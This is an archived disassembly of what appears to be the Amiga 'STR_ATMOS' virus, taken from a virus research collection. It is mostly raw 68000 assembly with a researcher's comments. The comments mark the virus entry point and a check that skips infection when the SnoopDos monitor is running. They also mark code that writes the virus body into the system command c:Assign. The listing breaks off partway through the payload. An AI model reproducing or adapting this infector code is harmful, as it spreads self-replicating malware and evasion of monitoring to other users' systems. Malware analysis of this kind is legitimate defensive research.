home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / STR_ATMOS / STR_ATMOS.ASM < prev    next >
Assembly Source File  |  1999-06-12  |  69KB  |  2,462 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. EXT_0000    EQU    $0
  5. ABSEXECBASE    EQU    $4
  6. HARDBASE    EQU    $DFF000
  7. VHPOSR        EQU    $DFF006
  8. COLOR00        EQU    $DFF180
  9. EXT_0005    EQU    $F97FBC
  10. EXT_0006    EQU    $FC0000
  11.  
  12.  
  13.  
  14.  
  15.     SECTION S_0,CODE
  16.  
  17. SECSTRT_0:
  18.     LINK    A5,#-1332        ;0000: 4E55FACC
  19.     MOVEM.L    D2-D3/D5-D7/A2-A3/A6,-(A7) ;0004: 48E73732
  20.     MOVEA    #$0004,A0        ;0008: 307C0004
  21.     MOVEA.L    (A0),A3            ;000C: 2650
  22.     MOVEA.L    A3,A0            ;000E: 204B
  23.     MOVEQ    #20,D7            ;0010: 7E14
  24.     MOVE.L    A0,44(A7)        ;0012: 2F48002C
  25.     SUBA.L    A1,A1            ;0016: 93C9
  26.     MOVEA.L    A3,A6            ;0018: 2C4B
  27.     JSR    -294(A6)        ;001A: 4EAEFEDA
  28.     MOVEA.L    D0,A2            ;001E: 2440
  29.     TST.L    172(A2)            ;0020: 4AAA00AC
  30.     BNE    LAB_0010        ;0024: 660002BE
  31.     LEA    92(A2),A1        ;0028: 43EA005C
  32.     MOVE.L    A1,32(A7)        ;002C: 2F490020
  33.     MOVEA.L    A1,A0            ;0030: 2049
  34.     JSR    -384(A6)        ;0032: 4EAEFE80
  35.     MOVEA.L    32(A7),A0        ;0036: 206F0020
  36.     JSR    -372(A6)        ;003A: 4EAEFE8C
  37.     MOVE.L    D0,40(A7)        ;003E: 2F400028
  38.     LEA    LAB_0012(PC),A1        ;0042: 43FA02C6
  39.     MOVEQ    #37,D0            ;0046: 7025
  40.     JSR    -552(A6)        ;0048: 4EAEFDD8
  41.     MOVEA.L    D0,A2            ;004C: 2440
  42.     MOVE.L    A2,D0            ;004E: 200A
  43.     BEQ    LAB_000F        ;0050: 67000284
  44.     MOVEQ    #10,D7            ;0054: 7E0A
  45.     MOVEQ    #100,D0            ;0056: 7064
  46.     MOVE.L    D0,-284(A5)        ;0058: 2B40FEE4
  47.     MOVE.L    #$00001000,-1312(A5)    ;005C: 2B7C00001000FAE0
  48.     CLR    -1314(A5)        ;0064: 426DFADE
  49.     LEA    LAB_0013(PC),A0        ;0068: 41FA02AC
  50.     LEA    -280(A5),A1        ;006C: 43EDFEE8
  51.     BSR    LAB_0024        ;0070: 6100031E        ;JUMP TO VIRUS!
  52.     MOVEQ    #5,D0            ;0074: 7005
  53. LAB_0000:
  54.     MOVE.L    (A0)+,(A1)+        ;0076: 22D8
  55.     DBF    D0,LAB_0000        ;0078: 51C8FFFC
  56.     MOVEA.L    40(A7),A1        ;007C: 226F0028
  57.     MOVEA.L    36(A1),A0        ;0080: 20690024
  58.     MOVE.L    28(A1),D6        ;0084: 2C29001C
  59.     MOVEQ    #1,D0            ;0088: 7001
  60.     CMP.L    D0,D6            ;008A: BC80
  61.     BLE    LAB_000E        ;008C: 6F00023C
  62.     LEA    8(A0),A1        ;0090: 43E80008
  63.     MOVE.L    A1,-24(A5)        ;0094: 2B49FFE8
  64.     MOVE.L    (A1),D1            ;0098: 2211
  65.     MOVEA.L    A2,A6            ;009A: 2C4A
  66.     JSR    -126(A6)        ;009C: 4EAEFF82
  67.     MOVE.L    D0,D5            ;00A0: 2A00
  68.     LEA    LAB_0014(PC),A1        ;00A2: 43FA028A
  69.     MOVEQ    #37,D0            ;00A6: 7025
  70.     MOVEA.L    A3,A6            ;00A8: 2C4B
  71.     JSR    -552(A6)        ;00AA: 4EAEFDD8
  72.     MOVEA.L    D0,A3            ;00AE: 2640
  73.     MOVE.L    A3,D0            ;00B0: 200B
  74.     BEQ    LAB_0007        ;00B2: 6700010A
  75.     MOVEA.L    -24(A5),A0        ;00B6: 206DFFE8
  76.     MOVEA.L    4(A0),A0        ;00BA: 20680004
  77.     MOVEA.L    A3,A6            ;00BE: 2C4B
  78.     JSR    -78(A6)            ;00C0: 4EAEFFB2
  79.     MOVE.L    D0,36(A7)        ;00C4: 2F400024
  80.     TST.L    D0            ;00C8: 4A80
  81.     BEQ    LAB_0006        ;00CA: 670000E8
  82.     MOVEA.L    D0,A0            ;00CE: 2040
  83.     MOVEA.L    54(A0),A0        ;00D0: 20680036
  84.     LEA    LAB_0015(PC),A1        ;00D4: 43FA0266
  85.     JSR    -96(A6)            ;00D8: 4EAEFFA0
  86.     TST.L    D0            ;00DC: 4A80
  87.     BEQ.S    LAB_0001        ;00DE: 670E
  88.     MOVEA.L    D0,A1            ;00E0: 2240
  89.     MOVEQ    #64,D0            ;00E2: 7040
  90.     LSL.L    #2,D0            ;00E4: E588
  91.     LEA    -280(A5),A0        ;00E6: 41EDFEE8
  92.     JSR    LAB_0124(PC)        ;00EA: 4EBA1710
  93. LAB_0001:
  94.     MOVEA.L    36(A7),A0        ;00EE: 206F0024
  95.     MOVEA.L    54(A0),A0        ;00F2: 20680036
  96.     LEA    LAB_0016(PC),A1        ;00F6: 43FA024C
  97.     MOVEA.L    A3,A6            ;00FA: 2C4B
  98.     JSR    -96(A6)            ;00FC: 4EAEFFA0
  99.     TST.L    D0            ;0100: 4A80
  100.     BEQ.S    LAB_0002        ;0102: 670E
  101.     MOVE.L    D0,D1            ;0104: 2200
  102.     LEA    -1312(A5),A0        ;0106: 41EDFAE0
  103.     MOVE.L    A0,D2            ;010A: 2408
  104.     MOVEA.L    A2,A6            ;010C: 2C4A
  105.     JSR    -816(A6)        ;010E: 4EAEFCD0
  106. LAB_0002:
  107.     MOVEA.L    36(A7),A0        ;0112: 206F0024
  108.     MOVEA.L    54(A0),A0        ;0116: 20680036
  109.     LEA    LAB_0017(PC),A1        ;011A: 43FA022E
  110.     MOVEA.L    A3,A6            ;011E: 2C4B
  111.     JSR    -96(A6)            ;0120: 4EAEFFA0
  112.     TST.L    D0            ;0124: 4A80
  113.     BEQ.S    LAB_0003        ;0126: 670E
  114.     MOVEA.L    D0,A0            ;0128: 2040
  115.     LEA    LAB_0018(PC),A1        ;012A: 43FA0228
  116.     JSR    -102(A6)        ;012E: 4EAEFF9A
  117.     MOVE    D0,-1314(A5)        ;0132: 3B40FADE
  118. LAB_0003:
  119.     MOVEA.L    36(A7),A0        ;0136: 206F0024
  120.     MOVEA.L    54(A0),A0        ;013A: 20680036
  121.     LEA    LAB_0019(PC),A1        ;013E: 43FA0218
  122.     JSR    -96(A6)            ;0142: 4EAEFFA0
  123.     TST.L    D0            ;0146: 4A80
  124.     BEQ.S    LAB_0004        ;0148: 672C
  125.     MOVE.L    D0,D1            ;014A: 2200
  126.     LEA    -284(A5),A0        ;014C: 41EDFEE4
  127.     MOVE.L    A0,D2            ;0150: 2408
  128.     MOVEA.L    A2,A6            ;0152: 2C4A
  129.     JSR    -816(A6)        ;0154: 4EAEFCD0
  130.     MOVE.L    -284(A5),D0        ;0158: 202DFEE4
  131.     MOVEQ    #50,D1            ;015C: 7232
  132.     JSR    LAB_012D(PC)        ;015E: 4EBA16C4
  133.     MOVE.L    D0,-284(A5)        ;0162: 2B40FEE4
  134.     BNE.S    LAB_0005        ;0166: 6642
  135.     LEA    -280(A5),A0        ;0168: 41EDFEE8
  136.     LEA    LAB_001A(PC),A1        ;016C: 43FA01F0
  137.     JSR    LAB_012A(PC)        ;0170: 4EBA16A2
  138.     BRA.S    LAB_0005        ;0174: 6034
  139. LAB_0004:
  140.     MOVEA.L    36(A7),A0        ;0176: 206F0024
  141.     MOVEA.L    54(A0),A0        ;017A: 20680036
  142.     LEA    LAB_001B(PC),A1        ;017E: 43FA01EA
  143.     JSR    -96(A6)            ;0182: 4EAEFFA0
  144.     TST.L    D0            ;0186: 4A80
  145.     BEQ.S    LAB_0005        ;0188: 6720
  146.     MOVE.L    D0,D1            ;018A: 2200
  147.     LEA    -284(A5),A0        ;018C: 41EDFEE4
  148.     MOVE.L    A0,D2            ;0190: 2408
  149.     MOVEA.L    A2,A6            ;0192: 2C4A
  150.     JSR    -816(A6)        ;0194: 4EAEFCD0
  151.     TST.L    -284(A5)        ;0198: 4AADFEE4
  152.     BNE.S    LAB_0005        ;019C: 660C
  153.     LEA    -280(A5),A0        ;019E: 41EDFEE8
  154.     LEA    LAB_001A(PC),A1        ;01A2: 43FA01BA
  155.     JSR    LAB_012A(PC)        ;01A6: 4EBA166C
  156. LAB_0005:
  157.     MOVEA.L    36(A7),A0        ;01AA: 206F0024
  158.     MOVEA.L    A3,A6            ;01AE: 2C4B
  159.     JSR    -90(A6)            ;01B0: 4EAEFFA6
  160. LAB_0006:
  161.     MOVEA.L    A3,A1            ;01B4: 224B
  162.     MOVEA.L    44(A7),A6        ;01B6: 2C6F002C
  163.     JSR    -414(A6)        ;01BA: 4EAEFE62
  164. LAB_0007:
  165.     MOVE.L    -1312(A5),D0        ;01BE: 202DFAE0
  166.     MOVEA.L    40(A7),A0        ;01C2: 206F0028
  167.     MOVEA.L    A2,A1            ;01C6: 224A
  168.     BSR    LAB_011A        ;01C8: 610014CC
  169.     MOVEA.L    -24(A5),A3        ;01CC: 266DFFE8
  170.     MOVE.L    4(A3),-(A7)        ;01D0: 2F2B0004
  171.     PEA    LAB_001C(PC)        ;01D4: 487A019A
  172.     PEA    -1308(A5)        ;01D8: 486DFAE4
  173.     JSR    LAB_0122(PC)        ;01DC: 4EBA15F6
  174.     LEA    12(A7),A7        ;01E0: 4FEF000C
  175.     BRA.S    LAB_000B        ;01E4: 606E
  176. LAB_0008:
  177.     ADDQ.L    #8,A3            ;01E6: 508B
  178.     LEA    -1308(A5),A0        ;01E8: 41EDFAE4
  179.     LEA    LAB_0021(PC),A1        ;01EC: 43FA019A
  180.     JSR    LAB_012A(PC)        ;01F0: 4EBA1622
  181.     LEA    -1308(A5),A0        ;01F4: 41EDFAE4
  182.     MOVEA.L    A0,A1            ;01F8: 2248
  183. LAB_0009:
  184.     TST.B    (A1)+            ;01FA: 4A19
  185.     BNE.S    LAB_0009        ;01FC: 66FC
  186.     SUBQ.L    #1,A1            ;01FE: 5389
  187.     SUBA.L    A0,A1            ;0200: 93C8
  188.     MOVE.L    A1,D0            ;0202: 2009
  189.     MOVEQ    #0,D1            ;0204: 7200
  190.     MOVE    D0,D1            ;0206: 3200
  191.     ADDA.L    D1,A0            ;0208: D1C1
  192.     MOVEQ    #0,D1            ;020A: 7200
  193.     MOVE    D0,D1            ;020C: 3200
  194.     MOVEQ    #64,D0            ;020E: 7040
  195.     LSL.L    #4,D0            ;0210: E988
  196.     SUB.L    D1,D0            ;0212: 9081
  197.     MOVE.L    A0,D2            ;0214: 2408
  198.     MOVE.L    D0,D3            ;0216: 2600
  199.     MOVE.L    (A3),D1            ;0218: 2213
  200.     MOVEA.L    A2,A6            ;021A: 2C4A
  201.     JSR    -402(A6)        ;021C: 4EAEFE6E
  202.     LEA    -1308(A5),A0        ;0220: 41EDFAE4
  203.     MOVEA.L    A0,A1            ;0224: 2248
  204. LAB_000A:
  205.     TST.B    (A1)+            ;0226: 4A19
  206.     BNE.S    LAB_000A        ;0228: 66FC
  207.     SUBQ.L    #1,A1            ;022A: 5389
  208.     SUBA.L    A0,A1            ;022C: 93C8
  209.     MOVE.L    A1,D0            ;022E: 2009
  210.     MOVEQ    #0,D1            ;0230: 7200
  211.     MOVE    D0,D1            ;0232: 3200
  212.     MOVEQ    #64,D0            ;0234: 7040
  213.     LSL.L    #4,D0            ;0236: E988
  214.     SUB.L    D1,D0            ;0238: 9081
  215.     MOVE.L    D2,D1            ;023A: 2202
  216.     MOVE.L    D0,D3            ;023C: 2600
  217.     MOVE.L    4(A3),D2        ;023E: 242B0004
  218.     JSR    -882(A6)        ;0242: 4EAEFC8E
  219.     LEA    -1308(A5),A0        ;0246: 41EDFAE4
  220.     LEA    LAB_0022(PC),A1        ;024A: 43FA0140
  221.     JSR    LAB_012A(PC)        ;024E: 4EBA15C4
  222.     SUBQ.L    #1,D6            ;0252: 5386
  223. LAB_000B:
  224.     MOVEQ    #2,D0            ;0254: 7002
  225.     CMP.L    D0,D6            ;0256: BC80
  226.     BGT.S    LAB_0008        ;0258: 6E8C
  227.     LEA    -1308(A5),A0        ;025A: 41EDFAE4
  228.     LEA    LAB_0023(PC),A1        ;025E: 43FA012E
  229.     JSR    LAB_012A(PC)        ;0262: 4EBA15B0
  230.     LEA    -280(A5),A0        ;0266: 41EDFEE8
  231.     MOVE.L    A0,D1            ;026A: 2208
  232.     MOVE.L    #$000003ED,D2        ;026C: 243C000003ED
  233.     MOVEA.L    A2,A6            ;0272: 2C4A
  234.     JSR    -30(A6)            ;0274: 4EAEFFE2
  235.     MOVE.L    D0,D6            ;0278: 2C00
  236.     TST.L    D6            ;027A: 4A86
  237.     BEQ.S    LAB_000D        ;027C: 6746
  238.     MOVE    -1314(A5),D0        ;027E: 302DFADE
  239.     EXT.L    D0            ;0282: 48C0
  240.     MOVEQ    #0,D1            ;0284: 7200
  241.     MOVE.L    D1,-(A7)        ;0286: 2F01
  242.     MOVE.L    D0,-(A7)        ;0288: 2F00
  243.     MOVE.L    #$80000024,-(A7)    ;028A: 2F3C80000024
  244.     MOVE.L    D6,-(A7)        ;0290: 2F06
  245.     MOVE.L    #$80000021,-(A7)    ;0292: 2F3C80000021
  246.     MOVE.L    D1,-(A7)        ;0298: 2F01
  247.     MOVE.L    #$80000022,-(A7)    ;029A: 2F3C80000022
  248.     PEA    -1308(A5)        ;02A0: 486DFAE4
  249.     MOVE.L    A2,-(A7)        ;02A4: 2F0A
  250.     BSR    LAB_0119        ;02A6: 610013C8        JUMP TO ORIGINAL CODE
  251.     LEA    36(A7),A7        ;02AA: 4FEF0024
  252.     MOVE.L    -284(A5),D0        ;02AE: 202DFEE4
  253.     BEQ.S    LAB_000C        ;02B2: 6708
  254.     MOVE.L    D0,D1            ;02B4: 2200
  255.     MOVEA.L    A2,A6            ;02B6: 2C4A
  256.     JSR    -198(A6)        ;02B8: 4EAEFF3A
  257. LAB_000C:
  258.     MOVE.L    D6,D1            ;02BC: 2206
  259.     MOVEA.L    A2,A6            ;02BE: 2C4A
  260.     JSR    -36(A6)            ;02C0: 4EAEFFDC
  261. LAB_000D:
  262.     MOVE.L    D5,D1            ;02C4: 2205
  263.     JSR    -126(A6)        ;02C6: 4EAEFF82
  264. LAB_000E:
  265.     MOVEA.L    44(A7),A3        ;02CA: 266F002C
  266.     MOVEA.L    A2,A1            ;02CE: 224A
  267.     MOVEA.L    A3,A6            ;02D0: 2C4B
  268.     JSR    -414(A6)        ;02D2: 4EAEFE62
  269. LAB_000F:
  270.     MOVEA.L    A3,A6            ;02D6: 2C4B
  271.     JSR    -132(A6)        ;02D8: 4EAEFF7C
  272.     MOVEA.L    40(A7),A1        ;02DC: 226F0028
  273.     JSR    -378(A6)        ;02E0: 4EAEFE86
  274. LAB_0010:
  275.     MOVE.L    D7,D0            ;02E4: 2007
  276.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A6 ;02E6: 4CDF4CEC
  277.     UNLK    A5            ;02EA: 4E5D
  278.     RTS                ;02EC: 4E75
  279. LAB_0011:
  280.     DC.W    $0024            ;02EE
  281.     ADDQ    #3,D5            ;02F0: 5645
  282.     DC.W    $523A            ;02F2
  283.     DC.W    $2069            ;02F4
  284.     DC.W    $636F            ;02F6
  285.     BGT.S    LAB_001D        ;02F8: 6E78
  286.     DC.W    $2033            ;02FA
  287.     MOVE    14368(A6),-(A4)        ;02FC: 392E3820
  288.     MOVE.L    46(A2,D3.W),D4        ;0300: 2832302E
  289.     MOVE    14642(A6),-(A0)        ;0304: 312E3932
  290.     MOVE.L    D0,-(A4)        ;0308: 2900
  291. LAB_0012:
  292.     DC.W    $646F            ;030A
  293.     DC.W    $732E            ;030C
  294.     DC.W    $6C69            ;030E
  295.     BHI.S    LAB_001F        ;0310: 6272
  296.     BSR.S    LAB_0020        ;0312: 6172
  297.     DC.W    $7900            ;0314
  298. LAB_0013:
  299.     DC.W    $434F            ;0316
  300.     DC.W    $4E3A            ;0318
  301.     MOVE    13616(A7),D0        ;031A: 302F3530
  302.     MOVE.L    14384(A7),-(A7)        ;031E: 2F2F3830
  303.     DC.W    $2F49            ;0322
  304.     DC.W    $636F            ;0324
  305.     BGT.S    LAB_001E        ;0326: 6E58
  306.     MOVE.L    D1,21844(A7)        ;0328: 2F415554
  307.     DC.W    $4F00            ;032C
  308. LAB_0014:
  309.     DC.W    $6963            ;032E
  310.     BLE.S    LAB_0025+2        ;0330: 6F6E
  311.     MOVEA.L    26978(A4),A7        ;0332: 2E6C6962
  312.     MOVEQ    #97,D1            ;0336: 7261
  313.     MOVEQ    #121,D1            ;0338: 7279
  314.     DC.W    $0000            ;033A
  315. LAB_0015:
  316.     SUBQ    #3,A1            ;033C: 5749
  317.     TRAP    #4            ;033E: 4E44
  318.     DC.W    $4F57            ;0340
  319.     DC.W    $0000            ;0342
  320. LAB_0016:
  321.     SUBQ    #1,(A4)            ;0344: 5354
  322.     DC.W    $4143            ;0346
  323.     DC.W    $4B00            ;0348
  324. LAB_0017:
  325.     SUBQ    #2,(A3)            ;034A: 5553
  326.     DC.W    $4552            ;034C
  327.     SUBQ    #1,A0            ;034E: 5348
  328.     DC.W    $454C            ;0350
  329.     DC.W    $4C00            ;0352
  330. LAB_0018:
  331.     SUBQ    #4,D5            ;0354: 5945
  332.     SUBQ.B    #1,D0            ;0356: 5300
  333. LAB_0019:
  334.     SUBQ    #3,D1            ;0358: 5741
  335.     DC.W    $4954            ;035A
  336.     DC.W    $0000            ;035C
  337. LAB_001A:
  338.     DC.W    $2F43            ;035E
  339.     DC.W    $4C4F            ;0360
  340.     SUBQ    #1,D5            ;0362: 5345
  341.     DC.W    $2F57            ;0364
  342.     DC.W    $4149            ;0366
  343.     ADDQ.B    #2,D0            ;0368: 5400
  344. LAB_001B:
  345.     NEG    D5            ;036A: 4445
  346.     DC.W    $4C41            ;036C
  347.     SUBQ.B    #4,D0            ;036E: 5900
  348. LAB_001C:
  349.     NOT    -(A1)            ;0370: 4661
  350. LAB_001D:
  351.     BVS.S    LAB_0027+2        ;0372: 696C
  352.     DC.W    $4174            ;0374
  353.     MOVE.L    48(A1,D3.W),D0        ;0376: 20313030
  354.     EORI    #$7865,D5        ;037A: 0A457865
  355.     DC.W    $6375            ;037E
  356. LAB_001E:
  357.     MOVEQ    #101,D2            ;0380: 7465
  358.     MOVE.L    -(A2),D0        ;0382: 2022
  359. LAB_001F:
  360.     DC.W    $2573            ;0384
  361. LAB_0020:
  362.     MOVE.L    D0,D1            ;0386: 2200
  363. LAB_0021:
  364.     MOVE.L    -(A2),D0        ;0388: 2022
  365.     DC.W    $0000            ;038A
  366. LAB_0022:
  367.     MOVE.L    D0,D1            ;038C: 2200
  368. LAB_0023:
  369.     DC.W    $0A00            ;038E
  370.  
  371. ;    START OF VIRUS??
  372.  
  373. LAB_0024:
  374.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0390: 48E7FFFE
  375.     BSR.S    LAB_0026        ;0394: 611A
  376.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0396: 4CDF7FFF
  377.     RTS                ;039A: 4E75
  378.     DC.W    $108C            ;039C
  379. LAB_0025:
  380.     JSR    -414(A6)        ;039E: 4EAEFE62
  381.     MOVE.L    (A7)+,D0        ;03A2: 201F
  382.     MOVEM.L    (A7)+,D1-D6/A0-A6    ;03A4: 4CDF7F7E
  383.     RTS                ;03A8: 4E75
  384.     ORI.B    #$00,D0            ;03AA: 00000000
  385.     DC.W    $0000            ;03AE
  386. LAB_0026:
  387.     MOVEA.L    (ABSEXECBASE).W,A6    ;03B0: 2C780004
  388.     SUBA.L    A1,A1            ;03B4: 93C9        CLEAR A1
  389.     JSR    -294(A6)        ;03B6: 4EAEFEDA        FindTask()
  390.     MOVEA.L    D0,A0            ;03BA: 2040        OwnTask
  391.     LEA    LAB_002B(PC),A1        ;03BC: 43FA00F4
  392.     MOVE.L    D0,(A1)            ;03C0: 2280        Store pointer
  393.     LEA    LAB_002C(PC),A1        ;03C2: 43FA00F2
  394.     MOVE.L    184(A0),(A1)        ;03C6: 22A800B8        Pktwait
  395.     MOVEQ    #-1,D0            ;03CA: 70FF        -1
  396.     MOVE.L    D0,184(A0)        ;03CC: 214000B8        set pkt wait to -1
  397.     BSR.S    LAB_0027        ;03D0: 610C
  398.     MOVEA.L    LAB_002B(PC),A1        ;03D2: 227A00DE
  399.     MOVE.L    LAB_002C(PC),184(A1)    ;03D6: 237A00DE00B8    set Pktwait to own task
  400.     RTS                ;03DC: 4E75
  401. LAB_0027:
  402.     LEA    LAB_0118+2(PC),A0    ;03DE: 41FA1276
  403.     MOVE.B    #$53,(A0)+        ;03E2: 10FC0053        write 'SnoopDos' string
  404.     MOVE.L    #$00000010,D0        ;03E6: 203C00000010
  405.     SUB.L    D0,D7            ;03EC: 9E80
  406.     MOVE.B    #$6E,(A0)+        ;03EE: 10FC006E
  407.     LEA    LAB_002B(PC),A2        ;03F2: 45FA00BE
  408.     MOVE.L    A2,D7            ;03F6: 2E0A
  409.     MOVE.B    #$6F,(A0)+        ;03F8: 10FC006F
  410.     MOVE.B    #$6F,(A0)+        ;03FC: 10FC006F
  411.     MOVE.L    D7,D5            ;0400: 2A07
  412.     SUB.L    D5,D7            ;0402: 9E85
  413.     MOVE.B    #$70,(A0)+        ;0404: 10FC0070
  414.     MOVE.B    #$44,(A0)+        ;0408: 10FC0044
  415.     LSL.L    #1,D7            ;040C: E38F
  416.     MOVE.L    D7,D1            ;040E: 2207
  417.     MOVE.B    #$6F,(A0)+        ;0410: 10FC006F
  418.     MOVE.L    #$00000009,D6        ;0414: 2C3C00000009
  419.     MOVE.B    #$73,(A0)+        ;041A: 10FC0073
  420.     CLR.B    (A0)+            ;041E: 4218
  421.     LEA    LAB_0117+2(PC),A0    ;0420: 41FA1220
  422.     MOVE    #$433A,(A0)+        ;0424: 30FC433A        write 'c:Assign' string
  423.     MOVE.L    #$00000017,D0        ;0428: 203C00000017
  424.     MOVE.B    #$41,(A0)+        ;042E: 10FC0041
  425.     MOVE.B    #$73,(A0)+        ;0432: 10FC0073
  426.     SUB.L    D0,D0            ;0436: 9080        Clkear D0
  427.     SUB.L    D5,D6            ;0438: 9C85
  428.     SUB.L    D2,D0            ;043A: 9082
  429.     MOVE    #$7369,(A0)+        ;043C: 30FC7369
  430.     MOVE.B    #$67,(A0)+        ;0440: 10FC0067
  431.     LEA    LAB_002B(PC),A3        ;0444: 47FA006C
  432.     MOVE.L    (A3),D1            ;0448: 2213
  433.     MOVE.B    #$6E,(A0)+        ;044A: 10FC006E
  434.     CLR.B    (A0)+            ;044E: 4218
  435.     LEA    LAB_002A(PC),A1        ;0450: 43FA0054        dos.library
  436.     MOVEQ    #37,D0            ;0454: 7025
  437.     JSR    -552(A6)        ;0456: 4EAEFDD8        OpenLibrary()
  438.     TST.L    D0            ;045A: 4A80        ptr to opened dos lib
  439.     BEQ.S    LAB_0029        ;045C: 6746        Error: no lib, exit
  440.     MOVE.L    D0,D7            ;045E: 2E00        store ptr to lib
  441.     MOVEA.L    (ABSEXECBASE).W,A6    ;0460: 2C780004
  442.     JSR    -636(A6)        ;0464: 4EAEFD84        CacheClearU() (cache sensitive thus)
  443.     LEA    LAB_0118+2(PC),A1    ;0468: 43FA11EC        get 'SnoopDos' string
  444.     JSR    -294(A6)        ;046C: 4EAEFEDA        FindTask() try to find SnoopDos task
  445.     TST.L    D0            ;0470: 4A80        See if port
  446.     BNE.S    LAB_0029        ;0472: 6630        Error, exit
  447.     MOVEA.L    D7,A6            ;0474: 2C47        get ptr to dos back
  448.     LEA    LAB_0117+2(PC),A0    ;0476: 41FA11CA        get 'c:Assign' name
  449.     MOVE.L    A0,D1            ;047A: 2208        arg 1
  450.     MOVE.L    #$000003EE,D2        ;047C: 243C000003EE    arg 2 -> Mode_NewFile
  451.     JSR    -30(A6)            ;0482: 4EAEFFE2        Open()
  452.     TST.L    D0            ;0486: 4A80        see if succes
  453.     BEQ.S    LAB_0029        ;0488: 671A        nope, exit
  454.     MOVE.L    D0,D7            ;048A: 2E00        stotre ptr to file
  455.     MOVE.L    D0,D1            ;048C: 2200        arg 1
  456.     LEA    LAB_002D(PC),A0        ;048E: 41FA002A        ptr to 'real' virus
  457.     MOVE.L    A0,D2            ;0492: 2408
  458.     MOVE.L    #$00001188,D3        ;0494: 263C00001188    size of virus probably
  459.     JSR    -48(A6)            ;049A: 4EAEFFD0        Write() virus to Assign
  460.     MOVE.L    D7,D1            ;049E: 2207        get ptr back
  461.     JSR    -36(A6)            ;04A0: 4EAEFFDC        and Close() it
  462. LAB_0029:
  463.     RTS                ;04A4: 4E75
  464. LAB_002A:
  465.     DC.W    $646F            ;04A6
  466.     DC.W    $732E            ;04A8
  467.     DC.W    $6C69            ;04AA
  468.     BHI.S    LAB_002E        ;04AC: 6272
  469.     BSR.S    LAB_002E+2        ;04AE: 6172
  470.     DC.W    $7900            ;04B0
  471. LAB_002B:
  472.     ORI.B    #$00,D0            ;04B2: 00000000
  473. LAB_002C:
  474.     ORI.B    #$00,D0            ;04B6: 00000000
  475. LAB_002D:
  476.     DC.W    $0000            ;04BA
  477.     BSET    D1,0(A3,D0.W)        ;04BC: 03F30000
  478.     ORI.B    #$00,D0            ;04C0: 00000000
  479.     ORI.B    #$00,D1            ;04C4: 00010000
  480.     ORI.B    #$00,D0            ;04C8: 00000000
  481.     ORI.B    #$00,D0            ;04CC: 00000000
  482.     SUBI    #$0000,(A1)+        ;04D0: 04590000
  483.     BSET    D1,0(A1)        ;04D4: 03E90000
  484.     SUBI    #$4E55,(A1)+        ;04D8: 04594E55
  485.     DC.W    $F9A0            ;04DC
  486.     MOVEM.L    D2-D7/A2-A3/A6,-(A7)    ;04DE: 48E73F32
  487.     MOVEA    #$0004,A0        ;04E2: 307C0004
  488.     MOVEA.L    (A0),A1            ;04E6: 2250
  489.     SUBA.L    A0,A0            ;04E8: 91C8
  490.     MOVE.L    A0,-104(A5)        ;04EA: 2B48FF98
  491.     LEA    -1608(A5),A6        ;04EE: 4DEDF9B8
  492.     MOVE.L    A6,-100(A5)        ;04F2: 2B4EFF9C
  493.     MOVE.L    A0,-96(A5)        ;04F6: 2B48FFA0
  494.     MOVE.L    #$000005DC,-92(A5)    ;04FA: 2B7C000005DCFFA4
  495.     MOVEQ    #20,D5            ;0502: 7A14
  496.     MOVE.L    A0,-36(A5)        ;0504: 2B48FFDC
  497.     MOVE.L    A1,52(A7)        ;0508: 2F490034
  498.     MOVEA.L    A1,A6            ;050C: 2C49
  499.     BSR    LAB_0081        ;050E: 61000738
  500.     LEA    LAB_00B4(PC),A1        ;0512: 43FA0C20
  501.     MOVEQ    #36,D0            ;0516: 7024
  502.     JSR    -552(A6)        ;0518: 4EAEFDD8
  503.     MOVEA.L    D0,A3            ;051C: 2640
  504.     MOVEA.L    A3,A0            ;051E: 204B
  505. LAB_002E:
  506.     MOVE.L    A0,48(A7)        ;0520: 2F480030
  507.     MOVE.L    A3,D0            ;0524: 200B
  508.     BEQ    LAB_007E        ;0526: 670006FA
  509.     MOVEQ    #47,D0            ;052A: 702F
  510.     MOVEQ    #0,D1            ;052C: 7200
  511.     LEA    -84(A5),A1        ;052E: 43EDFFAC
  512. LAB_0030:
  513.     MOVE.B    D1,(A1)+        ;0532: 12C1
  514.     DBF    D0,LAB_0030        ;0534: 51C8FFFC
  515.     LEA    LAB_00B5(PC),A1        ;0538: 43FA0C06
  516.     MOVE.L    A1,D1            ;053C: 2209
  517.     LEA    -84(A5),A0        ;053E: 41EDFFAC
  518.     MOVE.L    A0,D2            ;0542: 2408
  519.     MOVEQ    #0,D3            ;0544: 7600
  520.     MOVEA.L    A3,A6            ;0546: 2C4B
  521.     JSR    -798(A6)        ;0548: 4EAEFCE2
  522.     MOVE.L    D0,44(A7)        ;054C: 2F40002C
  523.     TST.L    D0            ;0550: 4A80
  524.     BNE    LAB_0031        ;0552: 66000012
  525.     JSR    -132(A6)        ;0556: 4EAEFF7C
  526.     MOVE.L    D0,D1            ;055A: 2200
  527.     MOVE.L    D3,D2            ;055C: 2403
  528.     JSR    -474(A6)        ;055E: 4EAEFE26
  529.     BRA    LAB_007A        ;0562: 60000662
  530. LAB_0031:
  531.     MOVEQ    #0,D7            ;0566: 7E00
  532.     CLR.L    -28(A5)            ;0568: 42ADFFE4
  533.     MOVEA.L    -84(A5),A2        ;056C: 246DFFAC
  534.     MOVEA.L    A2,A1            ;0570: 224A
  535.     MOVE.L    A1,40(A7)        ;0572: 2F490028
  536.     MOVE.L    A2,D1            ;0576: 220A
  537.     BEQ.S    LAB_0037        ;0578: 6742
  538.     MOVEA.L    A2,A3            ;057A: 264A
  539.     BRA.S    LAB_0033        ;057C: 6002
  540. LAB_0032:
  541.     ADDQ.L    #1,A3            ;057E: 528B
  542. LAB_0033:
  543.     MOVEQ    #58,D0            ;0580: 703A
  544.     CMP.B    (A3),D0            ;0582: B013
  545.     BEQ.S    LAB_0034        ;0584: 6706
  546.     TST.B    1(A3)            ;0586: 4A2B0001
  547.     BNE.S    LAB_0032        ;058A: 66F2
  548. LAB_0034:
  549.     MOVEQ    #58,D0            ;058C: 703A
  550.     CMP.B    (A3),D0            ;058E: B013
  551.     BNE.S    LAB_0035        ;0590: 6616
  552.     TST.B    1(A3)            ;0592: 4A2B0001
  553.     BNE.S    LAB_0035        ;0596: 6610
